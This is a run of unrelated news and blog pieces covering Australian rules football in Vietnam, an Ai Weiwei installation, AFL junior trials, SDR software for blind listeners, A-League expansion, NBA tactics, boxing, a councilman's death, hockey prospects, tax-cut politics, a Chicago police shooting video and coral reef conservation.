Last year, Dinh Anh Nguyen was voted as the best player of the Vietnam Swans B team playing in the Asian Champs Division 2 after only six months training in this sport. The Vietnam Swans now have a good squad of Vietnamese and will challenge it’s neighbor, the Cambodian Eagles, on the Vietnamese vs Cambodian (ed.local players) game this September. It will be a great achievement for the Swans after a year tirelessly and continuously investing in local development as well as a huge step for the Vietnamese locals to show their talents to the world.
Furthermore, the AFL Asia is firmly leading local development around Asia. It sponsors a number of events taking place around Asia for the locals to play and experience the game such as the AFL Asia Lions vs Team China this weekend, The all-Asian Cup a day before the Asian Champs and the exhibition game between the locals and expats at the Indochina Cup. I think in 2020 Asia will have more qualified teams to take part and succeed in the International Cup in Australia.
SiS: What will it mean to play as Captain in Shanghai?
Vinh: There are a lot of respectful players in the team and I have never thought of being chosen to be a Captain of the Vietnam Swans. Wearing the captains armband of the Vietnam Swan is always a great honor for anyone. I am not sure what I can do as a captain but I will definitely put my best in.
Footnote: SportInSaigon was incredibly impressed to see Vinh slip into Swans captain mode so smoothly this morning and in typical style holding up the airport so he could sneak through and head on tour. The handsome approach is indeed a new element and we say extremely well overdue! Great work Vinh!Among the planned sites for Mr. Ai’s project are Flushing Meadows-Corona Park in Queens, the Cooper Union building in Manhattan and Doris C. Freedman Plaza, at the tourist-heavy southeast corner of Central Park.
The title is a reference to Robert Frost’s poem “Mending Wall,” which uses the line “Good fences make good neighbors” as a mysterious refrain. Mr. Ai, who lived in New York during the 1980s, said in an email that this work is a reaction to “a retreat from the essential attitude of openness” in American politics.
“When the Berlin Wall fell, there were 11 countries with border fences and walls,” Mr. Ai said. “By 2016, that number had increased to 70. We are witnessing a rise in nationalism, an increase in the closure of borders, and an exclusionary attitude towards migrants and refugees, the victims of war and the casualties of globalization.”
Other recent artwork by Mr. Ai has similarly dealt with heated current events, such as the exhibition “Laundromat,” which included thousands of castoff items from a refugee camp, at Deitch Projects last fall. And in June, “Hansel & Gretel,” a surveillance-themed installation created with the architects Jacques Herzog and Pierre de Meuron, will open at the Park Avenue Armory.
“Ai Weiwei pours his heart and soul into art that asks big questions and is not constrained by artistic and social traditions,” Chirlane McCray, the first lady of New York, said in a statement. With “Good Fences Make Good Neighbors,” she added, “he challenges us to think about the function and rationale for a common barrier. Given that the immigrant experience is at the core of what binds us as New Yorkers, the exhibition compels us to question the rhetoric and policies that seek to divide us.”TARRYN Thomas showed why he looks set to be an early selection for North Melbourne at next year's NAB AFL Draft with a standout performance in an under-18 trial game for the Allies on the weekend.
Thomas, who is an indigenous prospect from Tasmania, is aligned to the Roos through their Next Generation Academy zone.
He is not eligible to be drafted until 2018 but has already shone at under-18 level and looks likely to be the first top-end pick under the NGA rules, which were established last year.
North will have priority access on Thomas, who last year was named Tasmania's MVP at under-16 and under-18 national level, but will have to acquire him through the same bidding process as father-son and northern academy prospects.
Thomas had 17 disposals and kicked a goal for the Allies against Vic Metro's trial team on Sunday, with the squad of NSW-ACT, Queensland, Northern Territory and Tasmanian players coming together for the first time ahead of June's NAB AFL Under-18 Championships.
His skills and pace caught the eye in the gloomy weather at Ikon Park in Melbourne, with the Allies splitting their squad into two groups for matches against Vic Country and Vic Metro sides.
Thomas played in the stronger outfit that beat the Metro side by 36 points, with Connor Ballenden (15 disposals, 19 hit-outs, six inside-50s) impressing with his work around the ground and fellow Brisbane Lions academy member Jack Clayton having 16 touches.
Gold Coast academy big man Brayden Crossley kicked two goals and had 27 hit-outs.
For Metro, Tom North (20 disposals), Riley Jones and Jack Petruccelle were among the players to do some nice things across the day and have an impact at stages.
Vic Country was too strong for the Allies in the other game, running out 40-point winners. Cassidy Parish, the younger brother of Essendon's Darcy, collected 30 disposals as he continues to show his abilities as a ball-winning midfielder, while Gryan Miers, Ethan Floyd and Ed McHenry were also among Country's better players.
Jake Brown had 19 disposals to lead the way for the Allies, while Zac Bailey was also excellent with 18 disposals, one goal, eight tackles and five clearances. GWS academy player Nathan Richards was used through the ruck and had 12 disposals, 15 hit-outs and kicked a goal.
Adam Sambono, who has been given special clearance to play in the national carnival as a 20-year-old after impressive form at NTFL level, kicked two goals from six touches.
TRIAL MATCHES RESULTS
Vic Country 11.15 (81)
Allies 6.5 (41)
BEST
Vic Country: Miers, Floyd, Handley, Meek, McHenry, Parish, Henness
Allies: Bailey, Richards, Hinds, Graham, Carr, Davidson
GOALS
Vic Country: Garoni 2, Meek 2, Johnston 2, McHenry, Miers, Floyd, Vandermeer, Butts
Allies: Sambono 2, Bailey, Scott, Richards, Burke
Vic Metro 6.1 (37)
Allies 11.7 (73)
BEST
Vic Metro: Jones, Petruccelle, Coffield, North, Landt, Stoddart
Allies: Thomas, Bell, Dixon, Myers, Ballenden, Clayton
GOALS
Vic Metro: Jones 2, Penrith, Petruccelle, Harman, Grace
Allies: Bell 2, Crossley 2, Hardman 2, Dixon, Thomas, Clayton, Powell, FitzgeraldAt the 2015 Winter SWL Fest, I co-hosting a forum on Software-Defined Radios. Afterwards, a radio friend–who happens to be visually impaired–approached me to ask:
I’d never been asked the question before, and replied that I’d have to do a little research. In truth, I suspected that research would turn up very little that was useful: after all, SDRs require a lot of pointing and clicking, and some of the interfaces are rather complicated. Spectrum and waterfalls displays, often at the heart of the SDR app, are visual displays.
But I kept thinking of my friend’s question. Upon my return, I set out to do a little research and possibly pose the question here on the SWLing Post. Then assistance stepped in…in the form of medium wave DXer Tore Johnny Bråtveit.
If Mr. Bråtveit’s name sounds familiar, that would be because I recently posted a link to an Oregon Public Broadcasting interview with him. In the interview, he mentioned that he uses SDRs to chase MW DX, and that he is visually impaired.
I reached out to Mr. Bråtveit via his website and asked for any advice he could give about SDRs for those who are blind or visually impaired. His enlightening response:
“In the interview I mentioned screen reader software and the need to find SDR software that plays well along with such screen reader software. For those visually impaired who have some eyesight, this aspect may not apply, since many of them are well helped by a screen magnifier software package.
For those without eyesight at all, or with so little left of the eyesight that they cannot make practical use of the screen, there are these screen reader software packages. They all do the same, but they solve the job in a somewhat different way and are good at different tasks.
I began using SDRs back in 2007. First I used some [RFspace] SDR-IQs for a few years, until I purchased a Winradio G31DDC in 2010. The user experience with Winradio was so good that I have stayed with those radios since then, using both G31DDC and G33DDC receivers at my remote listening places.
I think I can say that all the software packages delivered with SDRs have issues and challenges when it comes to using them along with a screen reader. The worst example of unusable native software I have seen so far, is the software package delivered with the [Microtelecom] Perseus. I had a thought purchasing one some years ago and make some scripts for my screen reader JAWS to see if I could make the Perseus possible to use effectively, but I dropped the idea at that time in favor of Winradio.
The SpectraVue software delivered with SDR-IQ was usable, but I had to script it quite extensively, especially to be able to use the timeline when playing back recordings. Also the frequency selector was a bit tricky, so I had to assign some hotkey combinations to it. Otherwise it worked fine.
The Winradio software for the G3x series works quite fine right out of the box. They have apparently thought [through] keyboard operation, and there are shortcuts for almost everything. Such shortcut keys are necessary, as navigating the program interface with a screen reader can be a bit too complicated, especially for those only using speech output from the screen reader to access the screen content.
I personally am living in a country where we have good access to refreshable Braille displays, which gives me the opportunity to turn off the speech entirely if I want and only use Braille output. This way I can navigate the program interface quite effectively to understand how things are laid out.
The only real issues I have had with Winradio software, is:
1. Changing shortcut keys:
Normally, the Tab key is used to move between elements on a screen, so it would be natural to think that pressing the Tab key will bring me to the next shortcut key definition. Not in Winradio. Tab can be defined as a shortcut key itself, so trying to navigate the shortcut keys dialog with that key gives you a number of options, all connected to the Tab key. My way around this was to navigate with the Braille display until I found the shortcut key definition I wanted to change, focus on it by pressing a cursor routing key in that position and changing the definition. Then navigate further down to the OK button and activate it.
2. The timeline:
The timeline used when playing back recordings can be hard to locate when using a screen reader, and even more difficult to work with, since when you press a cursor routing key on the Braille display to simulate a mouse click on it, the focus often moves to somewhere else on the screen. Then you have to work hard to locate back to that timeline again. My solution here was to script my screen reader with a hotspot at the timeline with a shortcut key assigned to it, so that I could move focus back there by pressing a key.
Among the third-party software packages developed for SDRs, I have found few that I can recommend. The only one I can think of, is HDSDR. Especially in the current version from November 2013, there are a number of useful shortcut keys, and the program seem to work very well. I have used it a bit with an AFEDRI SDR I have, and have also used it to play back older SDR-IQ recordings.
So, if nothing else works, Iwould say that HDSDR is the solution, since it is both easy to use and have support for a number of receivers. And it is free, as you certainly know.
[…]Please write back if I can help you any further”WITH the A-League officially confirming two more clubs will be added to the competition for the 2018/19 season, stakeholders are lining up to press their case for inclusion in Australian football’s top flight.
The contenders range from NSL powerhouses to new entities and clubs from major cities and regional centres.
Here are all those who have confirmed their intention to officially bid for an A-League licence.
Adam Peacock is joined by Daniel Garb and Simon Hill to talk football here and abroad in this week’s Fox Football Podcast...
Round 21 Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre
SOUTH MELBOURNE
ARGUABLY the most forward of the bids, South Melbourne made everyone take notice when they made their intentions known in early November.
South Melbourne. Source: News Corp Australia
It shouldn’t be a surprise to see the former NSL powerhouse lodge a bid for a spot in Australia’s top flight.
After all, they’ve done it all before, having previously bid for the licence which went to Melbourne Heart — now Melbourne City — and tried to buy a stake in Central Coast Mariners.
“I don’t think there’s anything holding us back,” club director Bill Papastergiadis told the Herald Sun.
“Where we differentiate ourselves from franchise clubs is the stadium deal, the capital we’ve got in support of this bid and the junior development program that we believe is the best in Australia.
“But also, we won’t cannibalise the support of the existing A-League clubs in Melbourne.
“Our advisory board knows the great history of this club, but also has the ability to drive it forward.”
The club’s bid would be based upon their plan to train and play at Lakeside Stadium, the current homeground, which has a capacity of 15,000.
TASMANIA
ONE of the most vocal bids, the Tasmanian push for a local licence has the backing of local MP Andrew Wilkie.
Andrew Wilkie. Source: News Corp Australia
As things stand, the Tasmanian bid focuses on playing out of Hobart — likely at North Hobart Oval.
Backing the bid are former Melbourne Victory shareholders Robert Belteky and Harry Stamoulis, who told AAP they believe a Tasmanian team can attract crowds of between 8000 and 10,000 every week.
Wilkie has actively pushed for a local team, even taking the bid to parliament’s Question Time, where he asked Prime Minister Malcolm Turnbull about the plan to redevelop North Hobart Oval.
“I will continue to look for every opportunity in the Parliament to advocate for the establishment of a Tassie A-League team,” he said in a statement.
“Because, as I said in my question to the PM, it would be a wonderful rallying point for the community, inject millions of dollars into the economy, establish soccer as the only true national football code, and boost TV audiences.”
Regions to have discussed but are yet to officially confirm a bid...
ADELAIDE CITY
WITH Adelaide United breaking through for their first A-League title last season, there is a sense the local market could sustain a second team.
One contender willing to put its hand up is Adelaide City.
Football director Fred Lenzi told the Adelaide Advertiser the club was focused on ensuring their own stability and growth but wouldn’t turn down the opportunity to bid for a licence, were it able to secure some major backers.
“If an opportunity with a benefactor came up, we wouldn’t want to miss the boat,’’ Lenzi said.
“But we’ve also got to look at being sustainable for the long term. We’ve got a five-year plan, a vision we have set, we’re two years down that track to where we want to be to have all of our structure in place as a club.
“Our first focus is to be the best NPL (second tier) club in Australia.
“We’ve got a brand that is respected and one that is at the top level of clubs in this country and we want to put some stability around that.”
Adelaide City and West Adelaide. PIC SARAH REED. Source: News Limited
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a staple of NBA offenses, which are playing with more free-flowing, quickened pace than ever before.
In these NBA playoffs, the teams who do not play small, spread the court, initiate plays with pick-and-rolls and test defensive rotations by whipping the ball around the perimeter are outliers. With the exception of the Memphis Grizzlies and Chicago Bulls, every team remaining in the NBA playoffs leans heavily on playing smaller lineups as a means to create space in the lane and launch open three-pointers.
That includes the Washington Wizards, who under Coach Randy Wittman supercharged their offense in the playoffs by shifting Paul Pierce from small forward to power forward rather than playing Nene and Marcin Gortat together. Pierce’s presence placed pressure on defenses by stretching it, allowing for efficient three-pointers and driving lanes for guards to exploit.
Hedo Turkoglu, now with the Clippers, served as a perfect stretch-4 when he played with Dwight Howard in Orlando. (AP Photo/Danny Moloshok)
In the regular season, the Wizards attempted 16.8 threes per game (27th in the league) and scored 97 points per game. In the playoffs, the Wizards have shot 24 three-pointers per game and scored 105.8 points per game.
“It’s a big trend,” said Tomjanovich, who now runs a scouting and analytics consulting service. “There’s a few teams that don’t go by the formula. Numbers-wise, by the mathematics, you’re not going to have a high-octane offense if you don’t play that way. You’re not going to generate many points by possession. If you don’t play that way, you have to have a really good defense to win.”
The league-wide prevalence owes to several factors. Gradual rule changes made to increase scoring and allow zone defense allowed for greater creativity. The proliferation of advanced metrics made starkly clear the importance of three-pointers and layups and the inefficiency of isolation plays and long two-point shots. The success of coaches like Gregg Popovich and Erik Spoelstra – who coined the phrase “pace and space” while using Chris Bosh as a stretch-4 – promoted imitators.
The offensive principles included under the “pace and space” umbrella have become commonplace, most of all, because teams finally came to understand the value of three-pointers, even if Tomjanovich revealed it two decades ago.
At first, Tomjanovich liked playing Horry at power forward because it weaponized Olajuwon – with four players on the perimeter, he would have ample room to operate in the post. It also weaponized an even more powerful force: the three-point line. When defenses double-teamed Olajuwon, he would pass to the perimeter, which led to another pass or two, which led to the ball beating the defensive rotation, which led to an open three-pointer.
Today, there is a dearth of back-to-basket beasts like Olajuwon, and defensive rules have changed to allow off-the-ball double teams, thwarting post players even more. But the principle Tomjanovich unlocked with Olajuwon remains embedded in current small-ball offense: Draw two defenders to one spot on the floor, and then make enough quick passes for the ball to beat the defense’s rotation until you have an open three-pointer.
Which is why Tomjanovich can say former Phoenix Suns Coach Mike D’Antoni, another key innovator in how teams play offense, employed “all the same stuff” as, say, Stan Van Gundy’s Orlando Magic team that made the 2009 Finals. Van Gundy played four-around-one, surrounding Dwight Howard with shooters, including Rashard Lewis and Hedo Turkoglu, two 6-foot-10 forwards. D’Antoni ran breakneck pick-and-rolls with Steve Nash and spotted up Shawn Marion in the corner as a power forward. Both looked different but revolved around making defenses scramble in order to launch three-pointers or open a path to the basket.
Before the 2011-12 season, Spoelstra visited then-Oregon football coach Chip Kelly during the Ducks’ training camp in order to study how Kelly’s principles – playing fast and spreading the field – could translate to basketball. He came away convinced that creativity, like playing Bosh at center and then asking him to spot up behind the arc, would unleash the best version of LeBron James.
“The more that we’ve tried to think conventionally in terms of guys playing just a specific position, it restricted us a little bit,” Spoelstra told ESPN.com during that season. “We can put pressure on teams to adjust to us.”
For years, coaches didn’t understand the power of forcing other teams to adjust. They worried a smallish power forward would be exploited by a larger power forward on defense. But they didn’t understand the tradeoff, Tomjanovich said. A big power forward would take a two-point shot. A smaller power forward would help create an open three-pointer.
“Sometimes all it takes is a couple minutes of playing that way, and you get a little bit of a boost offensively,” Tomjanovich said. “It is going to cost you defensively if you have a strong big man who can overpower you. We would make sure our guy got more shots and then get him out of the game. You might get an advantage of three or four points. But that might be the game.”
Tomjanovich first used a standard small forward at power forward on instinct, before advanced stats and motion-capturing analysis validated the tactic. The Rockets now have become the vanguard in basketball analytics. A couple years ago, a member of Houston’s front office retroactively measured Tomjanovich’s teams’ efficiency. The executive called Tomjanovich. “I just wanted to tell you something,” Tomjanovich heard. “That was the right way to do it.”
On-Court Impact
How have stretch-4’s spread the floor in Washington? Here’s a look at the shot depth for the Wizards’ deep-shooting power forwards — Drew Gooden and Paul Pierce.
More on the NBA Playoffs
Lee: Wizards’ hopes crash with John Wall injury
Ramon Sessions ready to step up for Wizards
John Wall has multiple fractures in handWe are but a few hours removed from the announcement that IBF Junior Middleweight champion Jermall Charlo has decided to vacate his title and move up to 160 in pursuit of bigger fights.
The move up in weight carries a few implications, the first of which is that Jarrett Hurd’s upcoming fight with Tony Harrison has gone from title eliminator to a championship bout for the title Charlo vacated. Congratulations and best of luck to both of those men.
The first thing to ask is what is next for Jermall? His last fight ended with the sensational dispatching of his rival Julian Williams, followed by both Charlo brothers (Jermell holding the WBC version of the title) calling for a fight with WBO 154 champion “Canelo” Alvarez. It seems that pursuing that is high on the priority for Jermall, but there are still plenty of other options available at middleweight for the hard-hitting Lafayette native.
Let’s get the obvious names out of the way first: Canelo and Golovkin. There is no doubt in anyone’s mind that these are the biggest names at 160 and would be the biggest test (and paycheck) for Charlo. Golovkin is set to unify the WBA “Super” and “Regular” belts with Danny Jacobs next month, so a fight in the summer could be possible. Canelo has a date with Julio Cesar Chavez, Jr in May and will likely be out of action until September. So without further ado and in no particular order…
Best options out of the gate
Billy Joe Saunders: This will probably be met with some laughs, but hear me out first. Billy Joe has been seen not looking his best lately. He is still trying to cash out his belt to either Golovkin or Canelo. While Charlo clearly does not carry the financial weight to appeal to Saunders, the point more is that this would be the easiest fight for Charlo if he means to secure a title as quickly as possible. The only other option for a legitimate belt at 160 is against Golovkin (which is far from easy). Winner of Lemieux-Stevens. Both of these guys carry decent enough name recognition at 160 that they would be a good notch in Charlo’s belt. They would also be a good gauge of how well Charlo’s power has carried up in weight. Sure, both were stopped by Golovkin, but that doesn’t make these guys pushovers by any means. These two are set to clash March 11th, so it would also depend on how soon Charlo wants to get back in the ring. Willie Monroe, Jr. You can’t mention a decent middleweight without having to add the caveat that they were beaten by Golovkin. Regardless, Monroe made a decent showing in his fight with Golovkin and is coming off a decision win over fan-favorite Gabe Rosado. Monroe is pretty skilled and could be a good test for Charlo as he enters the Middleweight ranks. Hassan N’Dam N’Jikam. Failed Olympic run notwithstanding, Hassan is coming off a sensational knockout win over Alfonso Blanco. He is a solid competitor and would be also be a good test to enter the fold at Middleweight. He also holds the WBA Interim belt. That “title” in itself doesn’t mean too much, but it would set up Charlo to become the mandatory to the winner of Golovkin-Jacobs.
No matter what direction Jermall Charlo takes, his move up to 160 has made waves. There are plenty of decent fighters on the scene in the division, but all roads lead to [winner of] Canelo and Golovkin. No doubt Charlo will be chasing those two glory fights with big money dreams in tow. Charlo doesn’t seem the type to shy away from a challenge, either, so the rest of 160 is on notice: new challenger approaching.The city began to mourn the unexpected passing of iconic Councilman Gary Sandberg on Friday afternoon as investigators worked to officially confirm his death.
PEORIA — The city began to mourn the unexpected passing of iconic Councilman Gary Sandberg on Friday afternoon as investigators worked to officially confirm his death.
Police were called at 2:15 p.m. to Sandberg’s South Peoria residence above the former Advanced Blinds storefront at 1213 SW Adams St. after a friend of Sandberg found a decomposing body in the upstairs living quarters.
Peoria County Coroner Johnna Ingersoll stopped short of positively identifying the body as Sandberg, but said a set of keys with the body corresponded with Sandberg’s pickup truck parked in front of the residence.
Police were observed at the scene getting in and out of the truck and later drove it away toward the Police Department.
“He is not able to be identified by sight because he is in such an advanced state of decomposition,” Ingersoll said. “There was no identification on his person.”
A positive identification may not come until Saturday afternoon, though the Coroner’s Office had made contact with Sandberg’s next of kin. Ingersoll said her office had secured dental records that will aid in a definitive identification but that a forensic expert could not make the comparison until after an autopsy.
The autopsy has been scheduled for early Saturday afternoon, when a preliminary cause of death will be determined.
Several city officials told the Journal Star that Sandberg had not returned phone calls to friends and colleagues in the last few days leading up to the discovery of the body.
Police at the scene declined to elaborate on any of the circumstances surrounding the death, and there was no official word from the department later Friday.
“The only thing I can say is that we’re doing a death investigation,” Lt. Willie King of the criminal investigation division said at the scene.
The residence where the body was found proved to be a pivotal detail in the most recent city election. Sandberg, an at-large councilman, had campaigned for the 1st District seat that was vacated by Clyde Gulley, claiming the apartment to be his new residence. He moved there in 2012 after living for several years at 1810 N. Bigelow St.
A panel of election commissioners ruled him ineligible to run for the 1st District seat because he had not lived in the apartment above the storefront for the one year they said was required by state statute.
Sandberg successfully challenged the election commissioners’ finding in court to appear on the primary ballot. He advanced to the general election but lost to opponent Denise Moore by a wide margin.
Sandberg, who has served on the City Council for 24 years, retained his at-large seat following the defeat. That term was set to expire in 2015.
Matt Buedel can be reached at 686-3154 or mbuedel@pjstar.com. Follow him on Twitter @JournoBuedel.The Edmonton Oilers are no strangers to having high-level prospects in attendance at training camp, with a plethora of top, young draft picks joining the organization in recent years.
The latest to join the mix is 2014 third overall pick Leon Draisaitl, who general manager Craig MacTavish believes will present the club with a difficult decision in regards to whether the he's ready for the NHL, or if he needs additional seasoning back in the Western Hockey League (or elsewhere).
“Anybody, whether fan, coach, manager, media, anybody that says that they can tell you definitively whether Leon Draisaitl is ready or is not ready before getting the information at training camp is naive,” MacTavish said, as per the Edmonton Sun. “That would reveal a very superficial understanding of the game of hockey. Fortunately, we don’t have to make that decision right now.
“In my mind, I feel he’s going to make a strong case," MacTavish added. "I’ve seen him play, he’s going to make a strong case, I’ll be shocked if he’s not going to make a strong case.”
Draisaitl scored 28 goals and added 67 assists in 64 games for the WHL's Prince Albert Raiders this past season, and could be in line to further develop his game in a European professional league if he fails to crack the Oilers' lineup out of training camp.This article is from the archive of our partner.
The political debate over extending Bush-era tax cuts is currently divided between three sides: President Barack Obama and congressional Democrats, who want to permanently extend the cuts for the bottom 98 percent of wage-earners but let the cuts for people making over $250,000 expire; congressional Republicans who want to permanently extend cuts for everyone; and House Minority Leader John Boehner, who suggests he could support the Democratic position. If the parties do not reach a compromise, all of the cuts will expire at the end of September. The politics of this three-way battle are just about as intense as you'd expect. Here's the ongoing battle and what it means.
GOP Thrilled for Any Debate About Spending The Washington Post's Greg Sargent writes, "Multiple polls show strong majority support for ending the Bush tax cuts for the rich. But even as Dems are preparing to go to the mat over just that issue, Republicans seem to relish the looming fight at least as much -- perhaps more so -- than some Dems do.... Republicans are gambling that any argument about taxes -- details aside -- feeds the larger story they're trying to tell, about a Democratic majority that has gone off the rails with spending and government overreach, with nothing to show for it."
Boehner Cleverly Mixes Messages The Hill's John Feehery writes, "John Boehner, the House minority leader, mixed his message on the tax battle on purpose this weekend. I, for one, think it was a pretty clever move." True, Boehner got himself in trouble with Republicans for suggesting he might consider an Obama proposal. "But he also made it awfully hard for Robert Gibbs and all of the other political hacks down at the White House to make Boehner the target they wanted him to be. Now Democrats are going to have to somehow bring to life an attack against Mitch McConnell, who is even harder to make fun of than John Boehner."
Why House Will Never Vote on This Liberal blogger Digby sighs, "the glee over Boehner speaking out of turn is wildly overblown. If they decide not to hold a vote in the House, his comments give cover to those GOP candidates in districts where extending the cuts is unpopular and the rest of them 'holding the line' gives cover to those in conservative districts who want to extend them. And holding a vote will expose all those cowardly deficit Blue Dogs who run yipping into the corner with their tails between their legs whenever they are faced with any right wing opposition at all, so I doubt very much we'd see one."
Dems' Terrible Strategy The Washington Post's Ezra Klein balks at the new Democratic plan to rebrand the extended Bush tax cuts as "Obama's middle class tax cuts." He writes, "Democrats have known about the expiration of these cuts for 10 years now. If they wanted to create their own middle-class tax cut to replace Bush's expiring program and make sure they got the credit from the voters, they could've done that. If they wanted to begin calling them something different, they could have started the process last year. Instead, we've now been talking about the Bush tax cuts for months and the big plan is to suddenly change how Democrats refer to them in press releases? Again: Sigh. And putting the lack of planning aside, it won't stick because it's not true."
How Obama Can Win Talking Points Memo's Josh Marshall says that if Obama does this right he can "push policies that generate more [economic] demand... find a footing to galvanize Democrats for the next seven weeks... [and] sow dissension in Republican ranks." Obama should do this by pushing for a vote on the tax cuts before the election. "He should further say that the tax cuts only for incomes over $250,000 is where the two parties disagree and that they should make the election a referendum on those cuts." Extending the cuts for the wealthy is unpopular and will turn people against Republicans, he says.
This article is from the archive of our partner The Wire.
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.EMBED >More News Videos Video of Chicago police fatally shooting a black teen on Jan. 7, 2013 was released to the public Thursday afternoon. Cedrick Chatman, 17, was unarmed when he was killed.
EMBED >More News Videos Clergy members as well as Mayor Rahm Emanuel react to the release of video in the fatal shooting of Cederick Chatman.
EMBED >More News Videos Watch raw surveillance video that captured a closer shot of police chasing Cedrick Chatman just before the shooting.
EMBED >More News Videos Raw video from a CPD blue light camera at 75th and Jeffrey.
EMBED >More News Videos Watch surveillance video from a camera positioned at South Shore High School.
EMBED >More News Videos Watch surveillance video from a camera positioned at South Shore High School.
Video of Chicago police fatally shooting a black teen on Jan. 7, 2013, was released to the public Thursday afternoon. Cedrick Chatman, 17, was unarmed when he was killed.Three surveillance cameras - a blue light camera at 75th and Jeffrey, and two surveillance cameras at South Shore High School - captured the shooting from a distance and are difficult to see. Another angle from a fourth surveillance camera shows a closer shot of the chase.Crime scene video from detectives showed bullet holes in several spots outside the store where Chatman was shot. There are also photographs of evidence, including what looks like a mobile phone case. Chicago police had said Chatman was carrying a case officers believed was a gun.Attorneys Mark Smolens and Brian Coffman, representing the Chatman family, expressed frustration after a hearing Thursday morning that the city abruptly reversed its position Tuesday afternoon on whether to allow the public to see video of that shooting. Three weeks ago, just before the holidays, city attorneys filed a motion to keep the video under wraps.Chatman was suspected in a carjacking when police shot and killed him during a foot chase. Chatman's family attorneys say Officer Lou Toth was chasing him while Officer Kevin Fry stood back and opened fire."From our point of view, it's very clear Mr. Chatman is running as fast as he can," Coffman said at a Thursday morning press conference. "Running away."The attorneys say the videos contradict statements from police that Officer Fry feared for his life when Chatman turned and pointed a dark object at police. That object turned out to be a black iPhone box.The city released a 911 call made by the victim of the alleged carjacking.: I'm on 76th and Kingston, I was robbed my car was taken. The guy just took everything from me.: Were you cut, stabbed, shot?: No, I was beat. They dragged me out my car.Timestamps show that call was made just a few minutes before the shooting. The alleged victim also says a group of people took $400 and even his shoes. Police dispatch recordings were also released."Office Fry, on the other hand, did not appear to exhaust any method of capturing Chatman other than shooting him and killing him," says Lorenzo Davis, a former IPRA investigator."The shooting may well have been justified, but to get there you want to know more than just what the video tells you. You'd want to interview police. You'd want to interview witnesses," ABC7 Legal Analyst Gil Soffer said.When Davis investigated the case he concluded the shooting was not justified and Fry violated police policy. Davis says IPRA administrators asked him to change his findings, which he says he had been asked to do many times before on other cases. His refusal, Davis claims, led to his firing."Every time a video comes out, I do feel vindicated that there is more transparency now," Davis said.Chatman's attorneys say they're still waiting for transparency. They have fought for the release of the video in the two years since the shooting happened. They say the city's sudden decision to release the tape is for purely political reasons, not legal ones."We're still hoping it's a system-wide change in the way police misconduct is treated in the city of Chicago, and that's what this fight is about," Smolens said.Attorneys admit that releasing the tape does not affect their legal case, and that instead it's all about transparency. The attorney for officers Fry and Toth say his clients stand by their statements that they believe Chatman was armed and turned towards the officers.Three months after the shooting, State's Attorney Anita Alvarez determined no charges would be filed against the officers.The mayor tried to leave his only public event Thursday morning without answering questions about the administration decision to release video of the fatal Cedrick Chatman police shooting.But after reporters followed him to the elevator, he returned to explain the new policy."We're in the middle of transition to a different policy as it relates to transparency and letting that material out and the decision is exactly an example of that," Emanuel said.Emanuel said that for decades, the city agreed to seal evidence in police shootings to ensure they are fairly investigated. But State's Attorney Anita Alvarez - herself under fire for delays in such cases - says she cleared the officers involved in the Chatman shooting nearly three years ago."We looked at that case back in 2013 and determined that no criminal charges were warranted," Alvarez said.Emanuel was asked to comment on emails and internal communications suggesting city lawyers saw the video of Laquan McDonald's shooting in November 2014 - months before the mayor claims he became aware of the case."The answer to it is that if you're going to get to the bottom of something and get justice, it is exactly with the U.S. Attorney, the FBI and the State's Attorney," Emanuel said.Pastors representing a coalition of African American clergy reacted to the release of the video of the Chatman shooting during a news conference Thursday."Today is another dark day in our city," said Bishop James Dukes."The culture of the Chicago Police Department hasn't changed, and we haven't seen any steps to make that into a culture we could like to see," said Community Activist William Calloway.Although the 2013 shooting was found to be justified by the State's Attorney's Office and the Independent Police Review Authority, the pastors say it was not.Calloway repeated the call for African American clergy members and elected officials to boycott the annual Martin Luther King breakfast hosted by Mayor Rahm Emanuel. The pastors called for the end to what they call a code of silence."We're here because of Dr. King," Calloway said. "His spirit has to live through us. And until that changes, we're calling on a boycott.""Our city is in a crisis, this is no time to celebrate or try to memorial Dr. King under these circumstances," Dukes said.Calloway said activists will march on Friday, as well as protest outside the MLK breakfast. There is also a Black Wall Street protest planned outside Chicago's Board of Trade and Board of Options.Watch the raw surveillance video from four different cameras below.Reef conservation must not be an attempt to restore reefs of the past, but to identify the parts essential to their continued existence, and protect those
The survival of coral reefs requires a radical rethink of what conservation means, as well as embracing some of the changes they are undergoing, according to a paper by leading coral reef scientists.
“Helping coral reefs to safely navigate the Anthropocene is a profound challenge for multiscale governance,” the scientists say in a paper published today in the journal Nature.
They argue reef conservation must no longer be seen as an attempt to restore reefs of the past, or conserve their existing values, but rather to identify the parts of reefs that are essential to their continued existence, and protect those.
Scientists warn US coral reefs are on course to disappear within decades Read more
The paper comes amid increased urgency from conservationists and reef managers around the world, sparked by the worst global bleaching event in recorded history. It caused mass die-offs in every major coral reef region of the world. On the Great Barrier Reef alone, it is estimated that about half the coral was killed in 2016 and 2017.
In the paper, the scientists argue saving the world’s reefs requires the acceptance that the reefs of the future will look very different to those of today, and humans may need to help them adapt – perhaps by intervening to increase the proportion of coral species that are tolerant to rising temperatures.
“In the coming centuries, reefs will run the gauntlet of climate change, and rising temperatures will transform them into new configurations, unlike anything observed previously by humans,” the paper says.
But the overall message was one of hope, said lead author of the paper Terry Hughes from James Cook University in Australia.
“There’s no shortage of people saying reefs will be dead by 2030 or whatever,” Hughes said. “They are going to be different systems with a different mix of species but if we throw the kitchen sink at it and especially deal with climate change then we will have functioning reefs that will sustain and repair themselves and be of some use to people,” he said.
Coral bleaching event now biggest in history – and about to get worse Read more
The group of scientists, which includes both biologists and social scientists, argue the approach to reef conservation must change in several ways.
As coral reefs change, the authors say scientists and conservationists must focus on aspects of reef ecosystems that are the most important to their continued existence. They say biodiversity is no longer the most important value to protect, since some species are more important to the ecosystem than others.
They also suggest that helping reefs adapt may become an important strategy. “Ecosystem composition change is already occurring naturally, as corals respond and adapt to climate change, and could be promoted further through efforts to actively manipulate ecosystem configurations,” they write.
Besides embracing the fact that reefs will never be the same, they argue research and conservation must shift from the most direct impacts on reefs, and instead identify and target the root causes.
For example, rather than focusing just on the role herbivorous fish play in suppressing seaweed, thereby allowing reefs to recover, conservation efforts should focus on what drives the overfishing of those fish – such as poverty and market demands. “We tend to propose bandaids rather than dealing with the root cause of the issue,” Hughes said.
Great Barrier Reef bleaching made 175 times likelier by human-caused climate change, say scientists Read more
Underlying the finding that reefs will continue to survive is the assumption that agreements made at Paris to keep global warming to “well below 2C” are successful.
